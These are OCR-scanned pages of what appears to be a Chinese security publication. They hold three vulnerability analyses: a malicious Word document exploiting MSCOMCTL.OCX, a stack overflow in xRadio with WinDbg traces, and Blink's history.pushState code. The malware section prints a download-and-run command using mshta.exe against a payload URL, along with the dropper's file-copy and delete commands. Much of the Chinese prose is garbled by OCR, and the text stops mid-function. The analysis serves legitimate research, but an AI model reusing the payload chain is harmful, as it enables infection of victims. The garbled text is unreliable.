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F—E BHIE

IR DOC WA KI TRk &

{£%& : bingghost

—. B

FAF A CA\WINDOWS\system32\MSCOMCTL.OCX i3 H it DOC KEHIZ
FEHIRFE DN A T IR K E 154 LAY SR 0K O ik 1578 55, B S AR R o RO L
i AT AR AT AR ARED

ZFAF AimE#%L ShellCode J5.ShellCode BB E 5 DOC (RIBEINEH REHIT
A E AR IZRBBE R R IR XX R TR T —> Publisher.exe FAH T IHFIELE
# DOC X EZ A A ANEE RN BERERRE T —0 REFTHIRNXHERTHIESR
DOC x4, 5% s ka9 581= DOC St UBA Ik A AR B

F& Publisher.exe B /.10 http://skypeadv.com/greeting/photo.exe T# 4
photo[1].exe % |E 77, FH1T

L0 Bl 2 2 2 AR

Office 20072

\Yﬁ

| MSCOMCTL.OCX

RS REELIE

ShellCode




o BREMS o

2. 41K & ShellCode £ ZEfife

ShellCode

hm‘mﬁy \KCMDA
~1\B OCA },\?,i’?}

\r ' Publisher.exe

i ‘ cmd.exe /c copy
C\DOCUME~1\Bin\LOCALS ~ 1\SHH=.doc

CAWINDOWS\system32\mshta.exe

http://skypeadv.com/greeting/photo.exe

REFT /

photo[l].exe

MR A R BT+ T By Office 2007
R T IR

1. Wil b

C:\WINDOWS\system32\MSCOMCTL.OCX 4512 RS iZ R EDEIR A9 HI BT TR,
RRMEDRBYIZZHMKERES T 8, EE%:EF“EE’\]E%L”@JI%HEEET/J\? 8 IXFHMSE T
BUB AR WORD X8R Mt IR AR I E N R L SEER 7 R0 IR [ Hit, 3 m
#1777 DOC X EH B OMIEM KD

2. ShellCode 43 #7

275C89DA |Jecall MSCOMCTL.275C876D
275C89DF add esp,
275C89E2 test eax,eax
275C89E4 short MSCOMCTL.275C8A52
275C89E6 cmp dword ptr ss:[ebp-0x14],
275C89ED MSCOMCTL .275D3 085
cmp dword ptr ss:[ebp-8xC].
275C89F7 MSCOMCTL .275D3 685 " B
275C89FD dword ptr ss:[ebp-8xC] CTSRVEHE NS EREEAR OIS
275C8A00 | lea eax,dword ptr ss:[ebp-F£<8]
275C8A03 ebx
275C8A04 eax
27568A05 | call MSCOMCTL .275C876D ERE T HERE AP K
275C8A6A mov esi,eax
275C8A6C add esp,
275C8ABF test esi,esi
275C8A11 short MSCOMCTL.275C8A58
275C8A13 l:ITIp duord ptr ss: [ehp 0x8],

oNn47

Tkl ss: [nu125n5u] 90008282

KRR FEA DOC SCfF

(1) B5iAA GetkernelBase 3kEY kernel32.dll gyEtbtt, BEIRER MyGetProcAddress
AR ERI R

(2) BY—MEANMEMERITAN XA, HFEINEXHRE XA,



F_H ZZeHMH

REFIEXHATZTERZESH WORD X#, KEINB—BRMENRBEEAREIE—R
N, BETEFRHIT

(3) =R E%&IAA Decode skgZH 5
R R RS R St 2/EINE B MyGetProcAddress k182 E S EE M R

B X &35 4 8 ShellCode AR AR#E, 8 A FindSelfFileHandle skt 2 B & §I 0 4A14E
FREXFBREE AE

(4) REZEEBIEERBHNEEEESN DOC X4HFF1k Publisherexe EAZRG IR BRT

(5) #17F4 Publisher.exe, B #Z RIS H1T T 5] CMD &<

cmd.exe /c "C:\DOCUME~1\Bin\LOCALS~I\Z 45 .
cmd.exe /c copy "C:\DOCUME~1\Bin\LOCALS~1\Z%§(5.

and Settings\Bin\®H\ZK4k(5.doc" /y
cmd.exe /c del "C:\Documents and Settings\Bin\&[H\Z4k(5.doc" /f
(6) &5 RBE F itz

3.BH& DOC S #E A

(1) B

[0 - 0x2840] DOC Header
[0x2840 - 0x2850] VirusInfo
[0x2850 - 0x2E90] VirusCode
[0x2E90 - 0Ox7E90] TR
[0x7E90 - 0x40C90] 1EH DOC
(2) B

[0 - 0x2840] DOC Header
[0x2840 - 0x2850] VirusInfo
[0x2850 - @0x2E90] VirusCode
[0x2E90 - 0Ox7E90] TR
[0x7E90 - 0x40C90] 1EH DOC
(3) B

[0 - 0x2840] DOC Header
[0x2840 - 0x2850] VirusInfo
[0x2850 - 0x2E90] VirusCode
[0x2E90 - 0Ox7E90] TR
[0x7E90 - 0x40C90] 1EH DOC
(4)MBZEE (T LB ZEABCLR)

fRENERES F1 DOC
0022EB64 mov edi,esi
0022EB66 lods byte ptr ds:[esil

doc
doc" "C:\Documents

0x2840 F71
0x10 77 45t A A (5 2
0x640 TR (£ )
0x5000 i (hn' K )
0x38EQ0 i (n ' Hiedis )

0x2840 F71
0x10 77 45t AR (5 2
0x640 TR (N £k )
0x5000 i (n'& K )
0x38EQ0 i (n ' Hiedis )

0x2840 71
0x10 7T 45t A IR (5 2
0x640 TR (N £k )
0x5000 i (n & K )
0x38EQ0 i (n s % )

; edi esi [AINHE AN e Hds
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0022EB67 rol al,ox4

0022EB6A stos byte ptr es:[edil

0022EB6B dec ecx

0022EB6C jnz short 0022EB66

(5) Iz & (R A B # WBCL 4R)

R MZRES F1 DOC

0022EB64 mov edi,esi ; edi esi [AW48 A nsE HodE
0022EB66 lods byte ptr ds:[esi]

0022EB67 rol al,ox4

0022EB6A stos byte ptr es:[edil

0022EB6B dec ecx

0022EB6C jnz short 0022EB66

(6) &5 DOC B

B Virusinfo Fm& &% B ANE R HIEFER DOC st
A F ARSI

TR EEINEE

MER G ETERFHHIT

HTHIEEWT:
12BN OLE =21 RF1EA THXIR R

int _ thiscall Call Dwonload{void xthis)

{
void =v1; // esi@1

vi = this;

AfxEnableControlContainer(8); /1 RNIEALOLE “F#
DwonLoadFileAndExec{v1); 77 PEIIEEH
return 0;

2T H X RE LB R
(L » < FHHIT

C:\WINDOWS\system32\mshta.exe http://skypeadv.com/greeting/photo.exe
MR THRIN X RIRFIE IE EHFH

(2) MR

EEEE| IE EEREER
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer

\Shell Folders\Cache

AR BEERZBRA:
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C:\Documents and Settings\Bin\Local Settings\Temporary Internet
Files\Content.IE5\

(QEEEFHFEAN—IRBEREF EEZEREXH KR ESTEH T photo[1].exe

R T 7 1% photo[1].exe N 1T &R #HFE mshta.exe

while ¢ 1 )
{
*={_DWORD *)u13 = u7;
StrString2 = v13;
CString::CString{v13, &strHamel);
uil2 = v9;
strString3d = &u12;
LOBYTE(nStrCount) =
operator_(&v12, &strString, "\\Content.IE5");
LOBYTE(nStrCount) =
if ( {(unsigned  int8)ExecDownFile{v12, ={ DWORD =)ui3) )
break;
Ul = uB++;
if ( vio > 600 )
break;
Sleep(0x64u);

AFERERSSERR EI LN B mEHESR BRE THI BIMEFHEAR

IHE ®EE FFW W IAO #FHao
Qre- © ¥ Lsx [-xux [E-

HiAE (D) |5 C: \Documents and Settinzs\Bin\Local Settings‘\Temporary Internet Files\Content.IES]|

MRS -‘lf g;%tto%lm E;‘%e? #t
] 192 KB

e HFHIMX




E_H EXRedMHA 9

3 HITP 404 H3%H
THEO MEE FFW wEeM IAQ #BHho

Qre- © ¥ B L= Jrwax @

Heht @) a hitp://slypeady. con/grecting/photo. exe

[]ﬁKﬂWﬁ

EETEOMATAIECERES. SWCEE, RFETTaA.

WELEUFERTE:

o NREEESERIAZ P NZFITERBUL , (FAHUEEZER.
o 37 zlopeadv cca W, WEERIEHTTNEE BAKER.

o BHECERET, BTEREE,
e B QEE - 236 Internet FEYEAE.

F{2E  xRadio WEAREHIAT T

& : kOshi

i iR 2 B

HRiERHF sub_42C108 REHALIEX AR RERHITKERE, MMSBRHEFEIEA
SendMessageA IR FREBE THEMNBEMIES, EEEEMAPRTEE RIARERE
TNAEA Y, RE#HA SEH FELIE, FHEIX SEHsEMEBES, FREFAE. TEXNIE
BT

BRI POC MiE, MEMEA, EFAMR, M Windbg, JEHERNES.

(544.67c): Access violation - code c@000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=41414141 ebx=41414141 ecx=00000000 edx=00ac6798 esi=0012e9e8
edi=00ac6798

eip=00403bfc esp=0012e9b8 ebp=0012f9%ec iopl=0 nv up ei pl nz
na po nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00210202

*xx WARNING: Unable to verify checksum for C:\Program
Files\xRadio\xRadio.exe

*xx ERROR: Module load completed but symbols could not be loaded for
C:\Program

Files\xRadio\xRadio.exe

xRadio+@x3bfc:
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00403bfc 8b10 mov edx,dword ptr [eax]

A LAEE eax fEAFERIESHIX ERTMERE, M eox HIEEARAER, BARA] PoC HA
HEE, A, BETRBEY kb BF—THKIER.

0:000> kb

ChildEBP RetAddr Args to Child

WARNING: Stack unwind information not available. Following frames
may be wrong.

0012f9%ec 41414141 41414141 41414141 41414141 xRadio+@x3bfc
0012190 41414141 41414141 41414141 41414141 0x41414141

0012F9f4 41414141 41414141 41414141 41414141 0x41414141

00121918 41414141 41414141 41414141 41414141 0x41414141

0012fcad 41414141 41414141 41414141 41414141 0x41414141

0012fda® 00438310 00ab2674 0012feld 004ad795 0x41414141

0012fdac 004ad795 00aad378 00442b02 00000000 xRadio+0x38310
0012feld 00444874 0012fed4 0044487e 0012fe38 xRadio+0xad795
0012fe38 0044851a 00000111 00000002 00000000 xRadio+0x44874

AUEI R EEWHIR, XERERTHEEXPERNEALE, m0012fdac LB
BEEATVELIL, MRMPMEBOMTELFESR, INBTBITEE esp KM T—1E
%IELEI\ El‘] iﬁj,jj_ o

0:000> dd esp

0012e9b8 00403d0c 00000000 00ab56b8 00001388
0012e9c8 0042c185 0012f9f4 0042c19e 0012f9%ec
0012e9d8 00428bd8 00000001 00ab2674 00000000
2 kb A, BR esp RN BIRH HWEKI!

XFEFRATATLLE Y 00403d0c 1 0042¢185 X Letth fib 31T EHA, AAFNIBMBE A FRSHT—
TEEBBHEEF AT,

IRIE AT

e IRATRE—F 00403d0c XA B I loc 1T .

CODE:00403D05 loc_403D05: ; CODE XREF:
sub_403CE4+16j

CODE: 00403D05 mov eax, ebx

CODE:00403D07 call sub_403BFC



FTH ZReHs 11

BEEFHMINBNLIX D sub RPERFLESEREESWAR, BHRNAFGHTSN
TEAIREE M ZRIEMARTNME, EEERNEXC—TEMRENLEZE.

BEREBIATLIEERFE loc REH, sub_403BFC JmiRR AR LRI, #H1TT—Ik mov 5L #H
E1% ebx T{E% eax, T eax ERZHANIBLBAIES .

HIFHANFENE ebx BAETISHIELLH

RRX A BB FAN 2K SR _E B

CODE:00403CE4 sub_403CE4 proc near ; CODE XREF:
sub_402984+66p

CODE:00403CE4 ; Sub_4029FC+28p ...
CODE: 00403CE4 push ebx

CODE:00403CE5 push esi

CODE: 00403CE6 push edi

CODE:00403CE7 mov ebx, eax skey! 11!
CODE:00403CE9 mov esi, edx

CODE:00403CEB mov edi, ecx

CODE:00403CED mov eax, edi

CODE:00403CEF call sub_403CC0o

£ key LB, eox HESMMEL ebx, MXEFE eox WBLK 41414141 WAIE, B4
eax BEARRBIENEFERRM push 35k, EmBEEER sub_403ced HifES, MATIIKRE—
TIXA R EE X B ARES.

int  usercall sub 4@3CE4@<eax>(int *al@<eax>, int a2@<edx>, int

al3@<ecx>)

AUEE eox RRZLSZ, MALRE— MM, BETRAMNEXETHRHMNR, RiFiEFEE
EREXA—M@E,

0:000> bc 0

0:000> bp 00403CE4 ".if(@eax=0x41414141)1{;}.else{qg;}"

eax=41414141 ebx=00001388 ecx=00001388 edx=0012e9e8 esi=00ab56b8
edi=00000000

eip=00403ced esp=0012e9c8 ebp=0012f9%ec iopl=0 nv up ei pl nz
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200206

xRadio+0x3ce4:

00403ced 53 push ebx
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eax ZHMTRE, RAEHAREN, eaxX BELHBERT, ZAREIXE eox NiZE—
DHAEFES, AR 41414141 RAGRABHFEDE, ERFEHINEINERE, @0
[ R H B -

0:000> dd esp

0012e9c8 0042c185 0012f9f4 0042c19e 0012f9%ec
0012e9d8 00428bd8 00000001 00ab2674 00000000
0012e9e8 41414141 41414141 41414141 41414141

FRAZBIAEE, BNE—T esp, RRLERMAVBRERWEIN, FRERINBREEINE REL

EfLo

CODE:0042C175 loc_42C175: ; CODE XREF:
sub_42C108+4C(Cj

CODE:0042C175 lea edx, [ebp+lParam]
CODE:0042C178B mov eax, [ebp+var_4]
CODE:0042C17E mov ecx, ebx

CODE:0042C180 call sub_403CE4

HINERB T RE, ZUWEF—KHPEEFTFARE PoC &, AT NIX BEARZIRHE &
T, TEENEE-—TED @?&lﬂ%ﬂﬂjﬁﬁ/ 77,

BHARMNAUUBEEDHI QM eox FESs1E 0042¢17b (LB var_4 &, ALrLE,
£ windbg iR [ebp+var_4iX M iE st 2 [ebp-4| M E, XM HERNELEF, FEE
windbg HINFRNERE, KA E, RE—TX MR EG A S HEEERN.

CODE:0042C108

CODE:0042C108 push ebp

CODE:0042C109 mov ebp, esp
CODE:0042C108B add esp, OFFFFFQ04h
CODE:0042C111 push eax

CODE:0042C112 add esp, OFFFFFFF8h
CODE:0042C115 push ebx

CODE:0042C116 push esi

CODE:0042C117 push edi

CODE:0042C118 xor ebx, ebx
CODE:0042C11A mov [ebp+var_1008], ebx
CODE:0042C120 mov [ebp+var_4], ecx ;key! !

BEEXMRHEANORT kE’] ecx M{EL T [ebp+var_4], MAMREFIEMEXE, ecx XIE
NESHANREANE, BARMBAZERCOIINZRHEN, XERNEEGE— T EEBR
HEEAEEXMIE. ﬁﬁ winbg Rz

7/
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0:000> p

eax=00ab56b8 ebx=00000000 ecx=0012fald edx=00000000 esi=00000001
edi=00428bd8

eip=0042c120 esp=0012e9d8 ebp=0012f9ec iopl=0 nv up ei pl zr
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200246

xRadio+0x2c120:

0042c120 894dfc mov dword ptr [ebp-4],ecx
$5:0023:001219e8=00000000

0:000> p

eax=00ab56b8 ebx=00000000 ecx=0012fald edx=00000000 esi=00000001
edi=00428bd8

€ip=0042c123 esp=0012e9d8 ebp=0012f9%ec iopl=0 nv up ei pl zr
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200246

XRadio+0x2c123:

0042c123 8bfa mov edi,edx

0:000> dd ebp-4

0012f9e8 0012fald 0012fa20 004a023f 0012fbd8

0012f9f8 004202dd 0012fa20 0000000b 00ab4800

0012fad8 00ab4800 00000000 00000000 00000000

0012fal8 00ac5dd8 00000001 0012fad8 00433614

0012fa28 00ab4800 00459cl7 00459bf4 00459bda

0012fa38 0012fc08 00ab4800 00459b00 00004800

0012fad48 0012fbd0 00433989 0000000b 0000000f

0012fa58 00000000 0012Tc08 00ab4800 00ab4800

ALEE, MELSRE, ebptvar 4 FHREWRLFRFEME, IERXIRIREE RSB EX
DR, ETRBAAERER.

0:000> p

€ax=00460256 ebx=00000000 ecx=0012fald edx=00000000 esi=00ab56b8
edi=00000000

eip=0042clda esp=0012e9c0@ ebp=0012f9%ec iopl=0 nv up ei pl nz
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200206

xRadio+0x2cl4da:

0042cl4a 50 push eax

0:000> dd ebp-4
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0012f9e8 0012fald 0012fa20 004a023f 0012fbd8

0012f9f8 004a02dd 0012fa20 0000000b 00ab4800

0012fad8 00ab4800 00000000 00000000 00000000

0012fal8 00ac5dd8 00000001 0012fad8 00433614

0012fa28 00ab4800 00459cl7 00459bf4 00459bda

0012fa38 0012fc08 00ab4800 00459b00 00004800

0012fad48 0012fbd0 00433989 0000000b 0000000f

0012fa58 00000000 0012Tc08 00ab4800 00ab4800

0:000> p

€ax=00460256 ebx=00000000 ecx=0012fald edx=00000000 esi=00ab56b8
edi=00000000

eip=0042cl4b esp=0012e9bc ebp=0012f9%ec iopl=0 nv up ei pl nz
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200206

xRadio+0x2cl4b:

0042c14b e834b3fdff call xRadio+0x7484 (00407484)

0:000> p

€ax=00001388 ebx=00000000 ecx=00001388 edx=0012e948 esi=00ab56b8
edi=00000000

€ip=0042c150 esp=0012e9cc ebp=0012f9%ec iopl=0 nv up ei pl zr
na pe nc

Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000

ef1=00200246

XRadio+0x2c150:

0042c150 8bd8 mov ebx, eax

0:000> dd ebp-4

0012f9%e8 41414141 41414141 41414141 41414141

0012918 41414141 41414141 41414141 41414141

0012fa08 41414141 41414141 41414141 41414141

0012fal8 41414141 41414141 41414141 41414141

0012fa28 41414141 41414141 41414141 41414141

0012fa38 41414141 41414141 41414141 41414141

0012fa48 41414141 41414141 41414141 41414141

0012fa58 41414141 41414141 41414141 41414141

AAESRE cal ARG, ebp-4 NEBWER, HMRE—TIXHRMN ida

CODE:0042C129 push ebp
CODE:0042C12A push offset loc_42C19E
CODE:0042C12F push dword ptr fs:[eax]

CODE:0042C132 mov fs:[eax], esp
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CODE:0042C135 lea eax, [ebp+lParam]
CODE:0042C13B push eax ; LParam
CODE:0042C13C push edi ; wParam
CODE:0042C13D push 189h ; Msg
CODE:0042C142 mov eax, [esi+@Ch]
CODE:0042C145 call sub_43840C
CODE:0042C14A push eax ; hwnd
CODE:0042C14B call SendMessageA

AL SendMessageA, EEIEERENSHEAXHES. ebptvar_ 4 AEZFE
o
v8 = (HWND)sub_43840C();
v10 = SendMessageA(v8, 0x189u, v6, (LPARAM)&1Param);
if ( vio <0 )
{
sub_405CAC(v9, &v19);
sub_412A18(v13, v14, v15, v16);
}
sub_403CE4(v22, (int)&lParam, v10);

ZERMEZAIEMAAE, BT ebp-4 NEWER, SEEL V22 MEWNKEFHEHE,
INTIREDNS

v7 = v5;
v8 = vb;
if (vd )

sub_402944(v4, v6, Vv7);
result = sub_403BFC(v7);

ERERES, voSMES v7, FEresult AR v7, BF vZ FA%E, SETERFR#HA SEH
SEWME, SEHIE{HEEZ, MMESH TEFIZERBHIT.

F3m  HEBMEE(2)—Edge/IE WAL history.pushState

{E%& : Blast

K H Blink Master fyR B IT447. history.pushState f4b IR 1E
blink\Source\core\frame\history.h /1,

AHRBIFIR, HBAZE pushState HAIAAKRNT (KERARBO)
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webcore_shared.dll!blink::History::pushState(WTF::PassRefPtr<blink::
SerializedScriptValue> data, const WTF::String & title, const
WTF::String & url, const blink::StateOptions & options,
blink::ExceptionState & exceptionState) Line 63 C++

webcore_shared.dll!blink::HistoryV8Internal::pushStateMethod(const
v8::FunctionCallbackInfo<v8::Value> & info) Line 188 C++

webcore_shared.dll!blink: :HistoryV8Internal::pushStateMethodCallback
(const v8::FunctionCallbackInfo<v8::Value> & info) Line 198 C++
v8.d1ll!v8::internal::FunctionCallbackArguments::Call(void (const
v8::FunctionCallbackInfo<v8::Value> &) x f) Line 34  C++
v8.dll!v8::internal: :HandleApiCallHelper<@>(v8::internal::Isolate
* isolate, v8::internal:: anonymous—namespace'::BuiltinArguments<1>
& args) Line 1094 C++

v8.dll!v8::internal::Builtin_Impl_HandleApiCall(v8::internal:: anony
mous—namespace'::BuiltinArguments<1> args, v8::internal::Isolate x*
isolate) Line 1116 C++

v8.dll!v8::internal::Builtin_HandleApiCall(int args_length,
v8::internal::0bject * * args_object, v8::internal::Isolate x
isolate) Line 1111 C++

38f@bd3c() Unknown

[Frames below may be incorrect and/or missing]

38f3fb68() Unknown

38f2d541() Unknown

38f170df() Unknown

v8.d1l1l!v8::internal::Invoke(bool is_construct,
v8::internal::Handle<v8::internal::JSFunction> function,
v8::internal::Handle<v8::internal::0bject> receiver, int argc,
v8::internal::Handle<v8::internal::0bject> x args) Line 128 C++

v8.dll!v8::internal::Execution::Call(v8::internal::Isolate *
isolate, v8::internal::Handle<v8::internal::0bject> callable,
v8::internal::Handle<v8::internal::0bject> receiver, int argc,
v8::internal::Handle<v8::internal::0bject> * argv, bool
convert_receiver) Line 179 C++

v8.dl1l!v8::Script::Run(v8::Local<v8::Context> context) Line 1671
C++

webcore_shared.dll!blink::V8ScriptRunner::runCompiledScript(v8::Isol



BH ERsdM 17

ate *x isolate, v8::Local<v8::Script> script, blink::ExecutionContext
* context) Line 391 C++

webcore_shared.dll!blink::ScriptController::executeScriptAndReturnVa
lue(v8::Local<v8::Context> context, const blink::ScriptSourceCode &
source, blink::AccessControlStatus accessControlStatus, double
compilationFinishTime) Line 186 C++

webcore_shared.dll!blink::ScriptController::evaluateScriptInMainWorl
d(const blink::ScriptSourceCode & sourceCode,
blink::AccessControlStatus accessControlStatus,
blink::ScriptController: :ExecuteScriptPolicy policy, double *
compilationFinishTime) Line 560 C++

webcore_shared.dll!blink::ScriptController::executeScriptInMainWorld
(const blink::ScriptSourceCode & sourceCode,
blink::AccessControlStatus accessControlStatus, double x*
compilationFinishTime) Line 533 C++

webcore_shared.dll!blink::ScriptLoader::executeScript(const
blink::ScriptSourceCode & sourceCode, double *
compilationFinishTime) Line 401 C++

webcore_shared.dll!blink::ScriptLoader: :prepareScript(const
WTF::TextPosition & scriptStartPosition,
blink::ScriptLoader::LegacyTypeSupport supportlLegacyTypes) Line 271
C++

webcore_shared.dll!blink: :HTMLScriptRunner:: runScript(blink::Element
* script, const WTF::TextPosition & scriptStartPosition) Line 354
C++

webcore_shared.dll!blink: :HTMLScriptRunner::execute(WTF: :PassRefPtr<
blink::Element> scriptElement, const WTF::TextPosition &
scriptStartPosition) Line 216 C++

webcore_shared.dll!blink: :HTMLDocumentParser::runScriptsForPausedTre
eBuilder() Line 319 C++

webcore_shared.dll!blink: :HTMLDocumentParser: :processParsedChunkFrom
BackgroundParser(WTF: :PassOwnPtr<blink::HTMLDocumentParser: :ParsedCh
unk> popChunk) Line 503 C++
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webcore_shared.dll!blink: :HTMLDocumentParser: :pumpPendingSpeculation
s() Line 563  C++

webcore_shared.dll!blink: :HTMLDocumentParser::resumeParsingAfterYiel
d() Line 308  C++

webcore_shared.dll!blink: :HTMLParserScheduler::continueParsing()
Line 166 C++

webcore_shared.dlU!WTF: :FunctionWrapper<void (__thiscall
blink: :HTMLParserScheduler: :x) (void)>::operator()(blink::HTMLParsersS
cheduler x c) Line 83 C++

webcore_shared.dlU!WTF: :PartBoundFunctionImpl<1,WTF::FunctionWrapper
<void (__thiscall blink::HTMLParserScheduler::x)(void)>,void
__cdecl(blink: :HTMLParserScheduler *)>::operator()() Line 179 C++

blink_platform.dll!blink::CancellableTaskFactory::CancellableTask::r
un() Line 34 C++

scheduler.dll!scheduler::WebSchedulerImpl::runTask(scoped_ptr<blink:
:WebThread: :Task,base: :DefaultDeleter<blink: :WebThread: :Task> >
task) Line 45 C++

scheduler.dll!base::internal: :RunnableAdapter<void
(__cdeclx) (scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<bl
ink::WebThread::Task> >)>::Run(scoped_ptr<blink::WebThread::Task,bas
e::DefaultDeleter<blink::WebThread::Task> > <args_@>) Line 157 C++

scheduler.dll!base::internal::InvokeHelper<@,void,base::internal::Ru
nnableAdapter<void

(__cdeclx) (scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<bl
ink::WebThread::Task> >)>,base::internal::TypelList<scoped_ptr<blink:
:WebThread: :Task,base: :DefaultDeleter<blink: :WebThread::Task> > > >:
:MakeItSo(base::internal::RunnableAdapter<void

(__cdeclx) (scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<bl
ink::WebThread::Task> >)> runnable,
scoped_ptr<blink::WebThread: :Task,base: :DefaultDeleter<blink: :WebThr
ead::Task> > <args_@0>) Line 294 C++

scheduler.dll!base::internal::Invoker<base::IndexSequence<0>,base::i
nternal::BindState<base::internal::RunnableAdapter<void

(__cdeclx) (scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<bl
ink::WebThread::Task> >)>,void
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__cdecl(scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<blink
::WebThread::Task> >),base::internal::TypelList<base::internal::Passe
dWrapper<scoped_ptr<blink::WebThread: :Task,base: :DefaultDeleter<blin
k::WebThread: :Task> > > > >,base::internal::TypelList<base::internal:
:UnwrapTraits<base::internal::PassedWrapper<scoped_ptr<blink::WebThr
ead::Task,base: :DefaultDeleter<blink: :WebThread::Task> > > > >, base:
:internal::InvokeHelper<0,void,base::internal: :RunnableAdapter<void
(__cdeclx) (scoped_ptr<blink::WebThread::Task,base::DefaultDeleter<bl
ink::WebThread::Task> >)>,base::internal::TypelList<scoped_ptr<blink:
:WebThread: :Task,base: :DefaultDeleter<blink: :WebThread::Task> > > >,
void _ cdecl(void)>::Run(base::internal::BindStateBase * base) Line
346 C++

base.dll!base::Callback<void __ cdecl(void)>::Run() Line 396 C++

base.dll!base: :debug::TaskAnnotator::RunTask(const char x
queue_function, const char * run_function, const base::PendingTask &
pending_task) Line 64 C++

scheduler.dll!scheduler::TaskQueueManager: :ProcessTaskFromWorkQueue (
unsigned int queue_index, bool has_previous_task, base::PendingTask
* previous_task) Line 738 C++

scheduler.dll!scheduler::TaskQueueManager: :DoWork(bool
posted_from_main_thread) Line 691 C++

scheduler.dll!base::internal::RunnableAdapter<void (__thiscall
scheduler: : TaskQueueManager: :x) (bool)>::Run(scheduler::TaskQueueMana
ger * object, const bool & <args_0>) Line 176 C++

scheduler.dll!base::internal::InvokeHelper<l,void,base::internal::Ru
nnableAdapter<void (__thiscall

scheduler: :TaskQueueManager: :x) (bool)>,base::internal::TypelList<base
: :WeakPtr<scheduler::TaskQueueManager> const &,bool const

&> >::MakeItSo(base::internal::RunnableAdapter<void (__thiscall
scheduler: : TaskQueueManager: :x) (bool)> runnable, const

base: :WeakPtr<scheduler: :TaskQueueManager> & weak_ptr, const bool &
<args_0>) Line 304 C++

scheduler.dll!base::internal::Invoker<base::IndexSequence<0,1>,base:
:internal::BindState<base::internal: :RunnableAdapter<void
(__thiscall scheduler::TaskQueueManager::x) (bool)>,void
__cdecl(scheduler::TaskQueueManager
*,bool),base::internal::TypelList<base::WeakPtr<scheduler::TaskQueueM
anager>,bool> >,base::internal::TypelList<base::internal::UnwrapTrait
s<base::WeakPtr<scheduler::TaskQueueManager> >,base::internal::Unwra
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pTraits<bool> >,base::internal::InvokeHelper<l,void,base::internal::
RunnableAdapter<void (__thiscall
scheduler: :TaskQueueManager: :*) (bool)>,base::internal::TypelList<base
: :WeakPtr<scheduler::TaskQueueManager> const &,bool const & >,void
__cdecl(void)>::Run(base::internal::BindStateBase *x base) Line 346
C++

base.dll!base::Callback<void __ cdecl(void)>::Run() Line 396 C++

base.dll!base: :debug::TaskAnnotator::RunTask(const char x
queue_function, const char * run_function, const base::PendingTask &
pending_task) Line 64 C++

base.dll!base: :MessagelLoop: :RunTask(const base::PendingTask &
pending_task) Line 481 C++

HARLERBEUT:

namespace blink {

class History final : public GarbageCollectedFinalized<History>,

public ScriptWrappable, public DOMWindowProperty {
DEFINE_WRAPPERTYPEINFO() ;
WILL_BE_USING_GARBAGE_COLLECTED_MIXIN(History);

public:

void pushState(PassRefPtr<SerializedScriptValue> data, const
String& title, const String& url, ExceptionState& exceptionState)
{
stateObjectAdded(data, title, url,
scrollRestorationInternal(), FramelLoadTypeStandard, exceptionState);

}
History::stateObjectAdded RN :

void History::stateObjectAdded(PassRefPtr<SerializedScriptValue>
data, const String& /* title %/, const String& urlString,
HistoryScrollRestorationType restorationType, FrameLoadType type,
ExceptionState& exceptionState)
{

if (!'m_frame || !m_frame->page()
|| 'm_frame->loader().documentLoader())

return;

KURL fullURL = urlForState(urlString);
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if (!'fullURL.isValid()
|| 'm_frame->document()->securityOrigin()->canRequest(fullURL)) {

// We can safely expose the URL to JavaScript, as a) no
redirection takes place: JavaScript already had this URL, b)
JavaScript can only access a same-origin History object.

exceptionState.throwSecurityError("A history state object with
URL '" + fullURL.elidedString() + "' cannot be created in a document

with origin + m_frame->document()->securityOrigin()->toString() +

III.II);

return;

m_frame->loader().updateForSameDocumentNavigation(fullURL,
SameDocumentNavigationHistoryApi, data, restorationType, type);

b

SMRER: i URL2TER? — B () —E=EM[EFH URL £. UL
DOMError, m_frame->loader()J&iR E—5 Y5771 < Frameloader 3§%.

mutable FrameLoader m_loader;
inline FrameLoader& LocalFrame::loader() const
{

return m_Lloader;

Frameloader::updateForSameDocumentNavigation {REZa0 T :

void FramelLoader::updateForSameDocumentNavigation(const KURL&
newURL, SameDocumentNavigationSource sameDocumentNavigationSource,
PassRefPtr<SerializedScriptValue> data, HistoryScrollRestorationType
scrollRestorationType, FrameLoadType type)
{
// Update the data source's request with the new URL to fake the
URL change
m_frame->document ()->setURL(newURL) ;
documentLoader()—->setReplacesCurrentHistoryItem(type !=
FrameLoadTypeStandard);
documentLoader()—->updateForSameDocumentNavigation(newURL,
sameDocumentNavigationSource);

// Generate start and stop notifications only when loader is
completed so that we
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// don't fire them for fragment redirection that happens in
window.onload handler.
// See https://bugs.webkit.org/show_bug.cgi?id=31838
if (m_frame->document()->1loadEventFinished())
client()—>didStartLoading(NavigationWithinSameDocument);

HistoryCommitType historyCommitType = loadTypeToCommitType(type);
if (!m_currentItem)
historyCommitType = HistoryInertCommit;

setHistoryItemStateForCommit(historyCommitType,
sameDocumentNavigationSource == SameDocumentNavigationHistoryApi ?
HistoryNavigationType::HistoryApi :
HistoryNavigationType::Fragment);
if (sameDocumentNavigationSource ==
SameDocumentNavigationHistoryApi) {
m_currentItem—->setStateObject(data);

m_currentItem—>setScrollRestorationType(scrollRestorationType);
I
client()->dispatchDidNavigateWithinPage(m_currentItem.get(),
historyCommitType);
client()->dispatchDidReceiveTitle(m_frame->document()—->title());
if (m_frame->document()->1loadEventFinished())
client()->didStopLoading();

Frameloader::setHistoryltemStateForCommit R4E 3B EIZ Ty Historyltem, FBE
RefPtrwWillBeMember<HistoryItem> m_currentItem;H.

Hrh, DocumentLoader::updateForSameDocumentNavigation KA1

void DocumentlLoader::updateForSameDocumentNavigation(const KURL&
newURL, SameDocumentNavigationSource sameDocumentNavigationSource)
{
